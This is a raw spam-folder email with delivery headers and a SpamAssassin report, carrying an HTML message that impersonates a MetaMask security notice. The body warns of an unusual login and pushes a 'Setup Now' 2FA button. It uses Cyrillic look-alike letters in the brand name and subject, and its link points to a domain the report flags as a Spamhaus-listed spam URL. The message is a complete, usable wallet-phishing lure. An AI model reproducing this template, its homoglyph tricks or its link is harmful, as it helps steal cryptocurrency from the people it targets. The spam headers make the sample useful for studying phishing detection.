Return-Path: <postmaster@7e2a3c453f.nxcli.io>
Delivered-To: info+spam@ecolux-btp.com
Received: from myrte.o2switch.net
	by myrte.o2switch.net with LMTP
	id SNLyEKeEO2iDaCIA5PApdA
	(envelope-from <postmaster@7e2a3c453f.nxcli.io>)
	for <info+spam@ecolux-btp.com>; Sun, 01 Jun 2025 00:37:27 +0200
Return-path: <postmaster@7e2a3c453f.nxcli.io>
Envelope-to: info@ecolux-btp.com
Delivery-date: Sun, 01 Jun 2025 00:37:27 +0200
Received: from cloudhost-2837887.us-west-1.nxcli.net ([173.249.147.123]:55972)
	by myrte.o2switch.net with esmtps  (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
	(Exim 4.98.2)
	(envelope-from <postmaster@7e2a3c453f.nxcli.io>)
	id 1uLUpQ-00000009U10-07Fo
	for info@ecolux-btp.com;
	Sun, 01 Jun 2025 00:37:27 +0200
Comment: DomainKeys? See http://domainkeys.sourceforge.net/
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;
  s=default; d=7e2a3c453f.nxcli.io;
  b=q0hDOpvN3klG18pYfCUFB97k48kLYyHw1UuCqJ1w84JUCo76iE5LMOg/wSxvxEPfOjvwqTENtflID4PWJyegs+ziHYeIhfiISPsS7RpyP7JhvwLXGAPX1ntz6/lhg1GS1kx4+q3iGGhMheyPtroQNfCslQVgTbDdMP9WYP/P3+ct4UnQ+p64DVXDfGH6SetOCwrsYAHBp507T7J1Vsdl/RUKiOcRpHL+eQZ8GepuLOEwtlcjeiYpoaCg5mfCYCoiCCi2Tuyq7Jq4Y6DAfTXOmd3rxtvqKJn0T5VW5khulmnjIbNqvG9ytcQSpSWmOj9UGlKavG3uR7TXhMDaOZk2dg==;
  h=Received:Date:Message-ID:To:Subject:X-PHP-Originating-Script:From:Reply-To:MIME-Version:Content-Type:X-Mailer:X-Priority;
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed; d=7e2a3c453f.nxcli.io; h=
	date:message-id:to:subject:from:reply-to:mime-version
	:content-type; s=default; bh=ClfJv1oO2cw8MFy8axRc7Py1Ln78UKeq+tC
	TdzK5pvY=; b=RNOvhmpy9wcEvtpnFNqwSlCLGl7m0KcSO1MRPvwMDZNx2rxHJ0H
	gVt7vMaEDNrwxw6Yt5zC9hLR7iOxjtXhJisGUuNi1qamwcbalaX0VRm9QsX8/Wba
	lEHV9dUN3Ue8xgzxi5iwUma1FCTRNdc2YmXA6MTlN+JVYnOBUTIIx00teW0uU9FC
	qbqrvrHjua+WD7XOghio5hFpRdtQEk4GHDm9CDQ8M0HlbWhqaJsUM0J+7dGQtt61
	pyoglKE1buVs4DeUdk9H7kxZO41Wbv4en4pj8kfXsqWWjuraUnAbvoOJrbueocPy
	NUDHhCWen3hSOSmszdISLss4DLU0xVCgfRg==
Received: (qmail 8249 invoked by uid 10220); 31 May 2025 22:36:42 +0000
Date: 31 May 2025 22:36:42 +0000
Message-ID: <20250531223642.8246.qmail@cloudhost-2837887.us-west-1.nxcli.net>
To: info@ecolux-btp.com
X-PHP-Originating-Script: 10220:f.php
From: "MetaMаsk" <esvnkogy@dyl.io>
Reply-To: esvnkogy@dyl.io
MIME-Version: 1.0
Content-Type: text/html; charset=UTF-8
X-Mailer: PHP/8.2.20
X-Priority: 3
X-Spam-Status: Yes, score=41.7
X-Spam-Score: 417
X-Spam-Bar: +++++++++++++++++++++++++++++++++++++++++
X-Spam-Report: Spam detection software, running on the system "scan.jabatus.fr",
 has identified this incoming email as possible spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 the administrator of that system for details.
 Content preview:  MetaMаsk Security Notice 🦊 Unusual Login Attempt Detected
    We've detected activity from an unfamiliar device on your MetaMаsk wallet.
    
 Content analysis details:   (41.7 points, 5.0 required)
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  0.0 URIBL_BLOCKED          ADMINISTRATOR NOTICE: The query to URIBL was
                             blocked.  See
                             http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
                              for more information.
                             [URIs: nxcli.io]
  0.0 RCVD_IN_DNSWL_BLOCKED  RBL: ADMINISTRATOR NOTICE: The query to
                             DNSWL was blocked.  See
                             http://wiki.apache.org/spamassassin/DnsBlocklists#DnsBlocklists-dnsbl-block
                              for more information.
                             [173.249.147.123 listed in list.dnswl.org]
  2.5 URIBL_DBL_SPAM         Contains a spam URL listed in the Spamhaus DBL
                             blocklist
                             [URIs: passports-world.com]
  0.2 BAD_SUKA_DSTM          No description available.
  0.2 BAD_SUKA994_3          No description available.
  0.2 HEADER_FROM_DIFFERENT_DOMAINS From and EnvelopeFrom 2nd level
                             mail domains are different
  0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The
                             query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                           [173.249.147.123 listed in bl.score.senderscore.com]
  0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE:
                             The query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                             [173.249.147.123 listed in sa-accredit.habeas.com]
  0.0 SPF_NONE               SPF: sender does not publish an SPF Record
  0.0 SPF_HELO_NONE          SPF: HELO does not publish an SPF Record
  0.6 MIME_HTML_ONLY         BODY: Message only has text/html MIME parts
  0.1 HTML_MESSAGE           BODY: HTML included in message
  0.1 DKIM_SIGNED            Message has a DKIM or DK signature, not necessarily
                             valid
   38 SPAMHAUS_DBLACK        Contains a spam URL listed in the DBL blocklist
                             [URIs: passports-world.com]
  0.1 DKIM_INVALID           DKIM or DK signature exists, but is not valid
X-Spam-Flag: YES
Subject:  ***Potentiel-SPAM***  Lаst Reminder: Security Notification


<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>MetaMаsk Security Notice</title>
<style>
  body {margin:0;padding:0;background:#f4f4f7;font-family:Arial,sans-serif;color:#333}
  .box {max-width:500px;margin:40px auto;background:#fff;border-radius:8px;padding:24px 28px;box-shadow:0 2px 10px #0001}
  .logo {font-size:38px;margin-bottom:10px;text-align:center}
  h2 {color:#f6851b;text-align:center;font-size:20px;margin-bottom:20px}
  p {font-size:15px;line-height:1.6;margin:0 0 18px;text-align:center}
  .btn {
    display:inline-block;margin:22px auto;padding:10px 24px;background:#f6851b;
    color:#fff;text-decoration:none;border-radius:6px;font-weight:bold;font-size:15px
  }
  .footer {font-size:12px;color:#777;text-align:center;margin-top:26px}
</style>
</head>
<body>
<div class="box">
  <div class="logo">🦊</div>
  <h2>Unusual Login Attempt Detected</h2>
  <p>We've detected activity from an unfamiliar device on your MetaMаsk wallet.</p>
  <p>For your protection, we strongly recommend enabling Two-Factor Authentication (2FA).</p>
  <p><a href="https://passports-world.com/cpo/?id=-8192086628270753875-1243" class="btn">🔐 Setup Now</a></p>
  <p class="footer">If this was you, no action is needed.<br>— MetaMаsk Security Team</p>
</div>
</body>
</html>

